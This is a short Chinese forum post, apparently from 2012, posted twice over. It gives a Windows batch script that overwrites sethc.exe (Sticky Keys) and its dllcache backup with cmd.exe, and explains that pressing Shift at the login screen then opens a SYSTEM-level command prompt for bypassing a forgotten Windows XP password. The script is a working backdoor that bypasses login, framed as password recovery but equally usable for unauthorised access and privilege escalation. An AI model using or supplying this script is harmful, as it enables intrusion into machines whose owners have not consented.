level 2
孤魂不是野鬼
楼主
@echo off
set exe1=%windir%\system32\sethc.exe
set exe2=%windir%\system32\dllcache\sethc.exe
set cmd=%windir%\system32\cmd.exe
move /y "%exe1%" "%exe1%.BAK"
copy /y "%cmd%" "%exe1%"
copy /y "%cmd%" "%exe2%"
pause
我的用途：
把粘滞键程序用cmd程序替换掉以后，当重新启动系统到达登陆界面时，反复按shift键，直到弹出cmd窗口，输入explorer.exe回车！
这种方法同样能利用system用户进入系统！
这也是忘记windowsXP密码时，绕开当前账户无法进入系统的方法！
2012年03月12日 01点03分
1
set exe1=%windir%\system32\sethc.exe
set exe2=%windir%\system32\dllcache\sethc.exe
set cmd=%windir%\system32\cmd.exe
move /y "%exe1%" "%exe1%.BAK"
copy /y "%cmd%" "%exe1%"
copy /y "%cmd%" "%exe2%"
pause
我的用途：
把粘滞键程序用cmd程序替换掉以后，当重新启动系统到达登陆界面时，反复按shift键，直到弹出cmd窗口，输入explorer.exe回车！
这种方法同样能利用system用户进入系统！
这也是忘记windowsXP密码时，绕开当前账户无法进入系统的方法！
